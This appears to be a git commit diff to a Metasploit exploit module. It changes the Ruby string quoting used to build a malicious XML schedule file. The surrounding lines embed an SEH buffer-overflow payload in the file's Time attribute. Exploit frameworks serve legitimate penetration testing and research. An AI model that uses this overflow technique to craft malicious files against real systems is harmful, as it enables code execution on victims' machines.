Use %Q for double-quoted string

bug/bundler_fix
Gabor Seljan 2014-12-22 07:37:32 +01:00
parent bb33a91110
commit 9be95eacb8
1 changed files with 3 additions and 3 deletions

View File

@ -70,10 +70,10 @@ class Metasploit3 < Msf::Exploit::Remote
evil << generate_seh_payload(target.ret)
evil << rand_text_alpha(20000)
sploit = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>
sploit = %Q|<?xml version="1.0" encoding="UTF-8" ?>
<Schedule>
<Event Url=\"\" Time=\"#{evil}\" Folder=\"\" />
</Schedule>"
<Event Url="" Time="#{evil}" Folder="" />
</Schedule>|
# Create the file
print_status("Creating '#{datastore['FILENAME']}' file ...")